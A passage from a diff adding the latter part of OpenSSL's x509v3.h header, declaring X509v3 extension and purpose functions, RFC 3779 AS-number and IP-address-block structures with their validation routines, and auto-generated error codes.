*hex_to_string(unsigned char *buffer, long len); +unsigned char *string_to_hex(char *str, long *len); +int name_cmp(const char *name, const char *cmp); + +void X509V3_EXT_val_prn(BIO *out, STACK_OF(CONF_VALUE) *val, int indent, + int ml); +int X509V3_EXT_print(BIO *out, X509_EXTENSION *ext, unsigned long flag, int indent); +int X509V3_EXT_print_fp(FILE *out, X509_EXTENSION *ext, int flag, int indent); + +int X509V3_extensions_print(BIO *out, char *title, STACK_OF(X509_EXTENSION) *exts, unsigned long flag, int indent); + +int X509_check_ca(X509 *x); +int X509_check_purpose(X509 *x, int id, int ca); +int X509_supported_extension(X509_EXTENSION *ex); +int X509_PURPOSE_set(int *p, int purpose); +int X509_check_issued(X509 *issuer, X509 *subject); +int X509_PURPOSE_get_count(void); +X509_PURPOSE * X509_PURPOSE_get0(int idx); +int X509_PURPOSE_get_by_sname(char *sname); +int X509_PURPOSE_get_by_id(int id); +int X509_PURPOSE_add(int id, int trust, int flags, + int (*ck)(const X509_PURPOSE *, const X509 *, int), + char *name, char *sname, void *arg); +char *X509_PURPOSE_get0_name(X509_PURPOSE *xp); +char *X509_PURPOSE_get0_sname(X509_PURPOSE *xp); +int X509_PURPOSE_get_trust(X509_PURPOSE *xp); +void X509_PURPOSE_cleanup(void); +int X509_PURPOSE_get_id(X509_PURPOSE *); + +STACK *X509_get1_email(X509 *x); +STACK *X509_REQ_get1_email(X509_REQ *x); +void X509_email_free(STACK *sk); +STACK *X509_get1_ocsp(X509 *x); + +ASN1_OCTET_STRING *a2i_IPADDRESS(const char *ipasc); +ASN1_OCTET_STRING *a2i_IPADDRESS_NC(const char *ipasc); +int a2i_ipadd(unsigned char *ipout, const char *ipasc); +int X509V3_NAME_from_section(X509_NAME *nm, STACK_OF(CONF_VALUE)*dn_sk, + unsigned long chtype); + +void X509_POLICY_NODE_print(BIO *out, X509_POLICY_NODE *node, int indent); + +#ifndef OPENSSL_NO_RFC3779 + +typedef struct ASRange_st { + ASN1_INTEGER *min, *max; +} ASRange; + +#define ASIdOrRange_id 0 +#define ASIdOrRange_range 1 + +typedef struct ASIdOrRange_st { + int type; + union { + ASN1_INTEGER *id; + ASRange *range; + } u; +} ASIdOrRange; + +typedef STACK_OF(ASIdOrRange) ASIdOrRanges; +DECLARE_STACK_OF(ASIdOrRange) + +#define ASIdentifierChoice_inherit 0 +#define ASIdentifierChoice_asIdsOrRanges 1 + +typedef struct ASIdentifierChoice_st { + int type; + union { + ASN1_NULL *inherit; + ASIdOrRanges *asIdsOrRanges; + } u; +} ASIdentifierChoice; + +typedef struct ASIdentifiers_st { + ASIdentifierChoice *asnum, *rdi; +} ASIdentifiers; + +DECLARE_ASN1_FUNCTIONS(ASRange) +DECLARE_ASN1_FUNCTIONS(ASIdOrRange) +DECLARE_ASN1_FUNCTIONS(ASIdentifierChoice) +DECLARE_ASN1_FUNCTIONS(ASIdentifiers) + + +typedef struct IPAddressRange_st { + ASN1_BIT_STRING *min, *max; +} IPAddressRange; + +#define IPAddressOrRange_addressPrefix 0 +#define IPAddressOrRange_addressRange 1 + +typedef struct IPAddressOrRange_st { + int type; + union { + ASN1_BIT_STRING *addressPrefix; + IPAddressRange *addressRange; + } u; +} IPAddressOrRange; + +typedef STACK_OF(IPAddressOrRange) IPAddressOrRanges; +DECLARE_STACK_OF(IPAddressOrRange) + +#define IPAddressChoice_inherit 0 +#define IPAddressChoice_addressesOrRanges 1 + +typedef struct IPAddressChoice_st { + int type; + union { + ASN1_NULL *inherit; + IPAddressOrRanges *addressesOrRanges; + } u; +} IPAddressChoice; + +typedef struct IPAddressFamily_st { + ASN1_OCTET_STRING *addressFamily; + IPAddressChoice *ipAddressChoice; +} IPAddressFamily; + +typedef STACK_OF(IPAddressFamily) IPAddrBlocks; +DECLARE_STACK_OF(IPAddressFamily) + +DECLARE_ASN1_FUNCTIONS(IPAddressRange) +DECLARE_ASN1_FUNCTIONS(IPAddressOrRange) +DECLARE_ASN1_FUNCTIONS(IPAddressChoice) +DECLARE_ASN1_FUNCTIONS(IPAddressFamily) + +/* + * API tag for elements of the ASIdentifer SEQUENCE. + */ +#define V3_ASID_ASNUM 0 +#define V3_ASID_RDI 1 + +/* + * AFI values, assigned by IANA. It'd be nice to make the AFI + * handling code totally generic, but there are too many little things + * that would need to be defined for other address families for it to + * be worth the trouble. + */ +#define IANA_AFI_IPV4 1 +#define IANA_AFI_IPV6 2 + +/* + * Utilities to construct and extract values from RFC3779 extensions, + * since some of the encodings (particularly for IP address prefixes + * and ranges) are a bit tedious to work with directly. + */ +int v3_asid_add_inherit(ASIdentifiers *asid, int which); +int v3_asid_add_id_or_range(ASIdentifiers *asid, int which, + ASN1_INTEGER *min, ASN1_INTEGER *max); +int v3_addr_add_inherit(IPAddrBlocks *addr, + const unsigned afi, const unsigned *safi); +int v3_addr_add_prefix(IPAddrBlocks *addr, + const unsigned afi, const unsigned *safi, + unsigned char *a, const int prefixlen); +int v3_addr_add_range(IPAddrBlocks *addr, + const unsigned afi, const unsigned *safi, + unsigned char *min, unsigned char *max); +unsigned v3_addr_get_afi(const IPAddressFamily *f); +int v3_addr_get_range(IPAddressOrRange *aor, const unsigned afi, + unsigned char *min, unsigned char *max, + const int length); + +/* + * Canonical forms. + */ +int v3_asid_is_canonical(ASIdentifiers *asid); +int v3_addr_is_canonical(IPAddrBlocks *addr); +int v3_asid_canonize(ASIdentifiers *asid); +int v3_addr_canonize(IPAddrBlocks *addr); + +/* + * Tests for inheritance and containment. + */ +int v3_asid_inherits(ASIdentifiers *asid); +int v3_addr_inherits(IPAddrBlocks *addr); +int v3_asid_subset(ASIdentifiers *a, ASIdentifiers *b); +int v3_addr_subset(IPAddrBlocks *a, IPAddrBlocks *b); + +/* + * Check whether RFC 3779 extensions nest properly in chains. + */ +int v3_asid_validate_path(X509_STORE_CTX *); +int v3_addr_validate_path(X509_STORE_CTX *); +int v3_asid_validate_resource_set(STACK_OF(X509) *chain, + ASIdentifiers *ext, + int allow_inheritance); +int v3_addr_validate_resource_set(STACK_OF(X509) *chain, + IPAddrBlocks *ext, + int allow_inheritance); + +#endif /* OPENSSL_NO_RFC3779 */ + +/* BEGIN ERROR CODES */ +/* The following lines are auto generated by the script mkerr.pl. Any changes + * made after this point may be overwritten when the script is next run. + */ +void ERR_load_X509V3_strings(void); + +/* Error codes for the X509V3 functions. */ + +/* Function codes. */ +#define X509V3_F_ASIDENTIFIERCHOICE_CANONIZE 156 +#define X509V3_F_ASIDENTIFIERCHOICE_IS_CANONICAL 157 +#define X509V3_F_COPY_EMAIL 122 +#define X509V3_F_COPY_ISSUER 123 +#define X509V3_F_DO_DIRNAME 144 +#define X509V3_F_DO_EXT_CONF 124 +#define X509V3_F_DO_EXT_I2D 135 +#define X509V3_F_DO_EXT_NCONF 151 +#define X509V3_F_DO_I2V_NAME_CONSTRAINTS 148 +#define X509V3_F_HEX_TO_STRING 111 +#define X509V3_F_I2S_ASN1_ENUMERATED 121 +#define X509V3_F_I2S_ASN1_IA5STRING 149 +#define X509V3_F_I2S_ASN1_INTEGER 120 +#define X509V3_F_I2V_AUTHORITY_INFO_ACCESS 138 +#define X509V3_F_NOTICE_SECTION 132 +#define X509V3_F_NREF_NOS 133 +#define X509V3_F_POLICY_SECTION 131 +#define X509V3_F_PROCESS_PCI_VALUE 150 +#define X509V3_F_R2I_CERTPOL 130 +#define X509V3_F_R2I_PCI 155 +#define X509V3_F_S2I_ASN1_IA5STRING 100 +#define X509V3_F_S2I_ASN1_INTEGER 108 +#define X509V3_F_S2I_ASN1_OCTET_STRING 112 +#define X509V3_F_S2I_ASN1_SKEY_ID 114 +#define X509V3_F_S2I_SKEY_ID 115 +#define X509V3_F_STRING_TO_HEX 113 +#define X509V3_F_SXNET_ADD_ID_ASC 125 +#define X509V3_F_SXNET_ADD_ID_INTEGER 126 +#define X509V3_F_SXNET_ADD_ID_ULONG 127 +#define X509V3_F_SXNET_GET_ID_ASC 128 +#define X509V3_F_SXNET_GET_ID_ULONG 129 +#define X509V3_F_V2I_ASIDENTIFIERS 158 +#define X509V3_F_V2I_ASN1_BIT_STRING 101 +#define X509V3_F_V2I_AUTHORITY_INFO_ACCESS 139 +#define X509V3_F_V2I_AUTHORITY_KEYID 119 +#define X509V3_F_V2I_BASIC_CONSTRAINTS 102 +#define X509V3_F_V2I_CRLD 134 +#define X509V3_F_V2I_EXTENDED_KEY_USAGE 103 +#define X509V3_F_V2I_GENERAL_NAMES 118 +#define X509V3_F_V2I_GENERAL_NAME_EX 117 +#define X509V3_F_V2I_IPADDRBLOCKS 159 +#define X509V3_F_V2I_ISSUER_ALT 153 +#define X509V3_F_V2I_NAME_CONSTRAINTS 147 +#define X509V3_F_V2I_POLICY_CONSTRAINTS 146 +#define X509V3_F_V2I_POLICY_MAPPINGS 145 +#define X509V3_F_V2I_SUBJECT_ALT 154 +#define X509V3_F_V3_ADDR_VALIDATE_PATH_INTERNAL 160 +#define X509V3_F_V3_GENERIC_EXTENSION 116 +#define X509V3_F_X509V3_ADD1_I2D 140 +#define X509V3_F_X509V3_ADD_VALUE 105 +#define X509V3_F_X509V3_EXT_ADD 104 +#define X509V3_F_X509V3_EXT_ADD_ALIAS 106 +#define X509V3_F_X509V3_EXT_CONF 107 +#define X509V3_F_X509V3_EXT_I2D 136 +#define X509V3_F_X509V3_EXT_NCONF 152 +#define X509V3_F_X509V3_GET_SECTION 142 +#define X509V3_F_X509V3_GET_STRING 143 +#define X509V3_F_X509V3_GET_VALUE_BOOL 110 +#define X509V3_F_X509V3_PARSE_LIST 109 +#define X509V3_F_X509_PURPOSE_ADD 137 +#define X509V3_F_X509_PURPOSE_SET 141 + +/* Reason codes. */ +#define X509V3_R_BAD_IP_ADDRESS 118 +#define X509V3_R_BAD_OBJECT 119 +#define X509V3_R_BN_DEC2BN_ERROR 100 +#define X509V3_R_BN_TO_ASN1_INTEGER_ERROR 101 +#define X509V3_R_DIRNAME_ERROR 149 +#define X509V3_R_DUPLICATE_ZONE_ID 133 +#define X509V3_R_ERROR_CONVERTING_ZONE 131 +#define X509V3_R_ERROR_CREATING_EXTENSION 144 +#define X509V3_R_ERROR_IN_EXTENSION 128 +#define X509V3_R_EXPECTED_A_SECTION_NAME 137 +#define X509V3_R_EXTENSION_EXISTS 145 +#define X509V3_R_EXTENSION_NAME_ERROR 115 +#define X509V3_R_EXTENSION_NOT_FOUND 102 +#define X509V3_R_EXTENSION_SETTING_NOT_SUPPORTED 103 +#define X509V3_R_EXTENSION_VALUE_ERROR 116 +#define X509V3_R_ILLEGAL_EMPTY_EXTENSION 151 +#define X509V3_R_ILLEGAL_HEX_DIGIT 113 +#define X509V3_R_INCORRECT_POLICY_SYNTAX_TAG 152 +#define X509V3_R_INVALID_ASNUMBER 160 +#define X509V3_R_INVALID_ASRANGE 161 +#define X509V3_R_INVALID_BOOLEAN_STRING 104 +#define X509V3_R_INVALID_EXTENSION_STRING 105 +#define X509V3_R_INVALID_INHERITANCE 162 +#define X509V3_R_INVALID_IPADDRESS 163 +#define X509V3_R_INVALID_NAME 106 +#define X509V3_R_INVALID_NULL_ARGUMENT 107 +#define X509V3_R_INVALID_NULL_NAME 108 +#define X509V3_R_INVALID_NULL_VALUE 109 +#define X509V3_R_INVALID_NUMBER 140 +#define X509V3_R_INVALID_NUMBERS 141 +#define X509V3_R_INVALID_OBJECT_IDENTIFIER 110 +#define X509V3_R_INVALID_OPTION 138 +#define X509V3_R_INVALID_POLICY_IDENTIFIER 134 +#define X509V3_R_INVALID_PROXY_POLICY_SETTING 153 +#define X509V3_R_INVALID_PURPOSE 146 +#define X509V3_R_INVALID_SAFI 164 +#define X509V3_R_INVALID_SECTION 135 +#define X509V3_R_INVALID_SYNTAX 143 +#define X509V3_R_ISSUER_DECODE_ERROR 126 +#define X509V3_R_MISSING_VALUE 124 +#define X509V3_R_NEED_ORGANIZATION_AND_NUMBERS 142 +#define X509V3_R_NO_CONFIG_DATABASE 136 +#define X509V3_R_NO_ISSUER_CERTIFICATE 121 +#define X509V3_R_NO_ISSUER_DETAILS 127 +#define X509V3_R_NO_POLICY_IDENTIFIER 139 +#define X509V3_R_NO_PROXY_CERT_POLICY_LANGUAGE_DEFINED 154 +#define X509V3_R_NO_PUBLIC_KEY 114 +#define X509V3_R_NO_SUBJECT_DETAILS 125 +#define X509V3_R_ODD_NUMBER_OF_DIGITS 112 +#define X509V3_R_OPERATION_NOT_DEFINED 148 +#define X509V3_R_OTHERNAME_ERROR 147 +#define X509V3_R_POLICY_LANGUAGE_ALREADTY_DEFINED 155 +#define X509V3_R_POLICY_PATH_LENGTH 156 +#define X509V3_R_POLICY_PATH_LENGTH_ALREADTY_DEFINED 157 +#define X509V3_R_POLICY_SYNTAX_NOT_CURRENTLY_SUPPORTED 158 +#define X509V3_R_POLICY_WHEN_PROXY_LANGUAGE_REQUIRES_NO_POLICY 159 +#define X509V3_R_SECTION_NOT_FOUND 150 +#define X509V3_R_UNABLE_TO_GET_ISSUER_DETAILS 122 +#define X509V3_R_UNABLE_TO_GET_ISSUER_KEYID 123 +#define X509V3_R_UNKNOWN_BIT_STRING_ARGUMENT 111 +#define X509V3_R_UNKNOWN_EXTENSION 129 +#define X509V3_R_UNKNOWN_EXTENSION_NAME 130 +#define X509V3_R_UNKNOWN_OPTION 120 +#define X509V3_R_UNSUPPORTED_OPTION 117 +#define X509V3_R_USER_TOO_LONG 132 + +#ifdef __cplusplus +} +#endif +#endif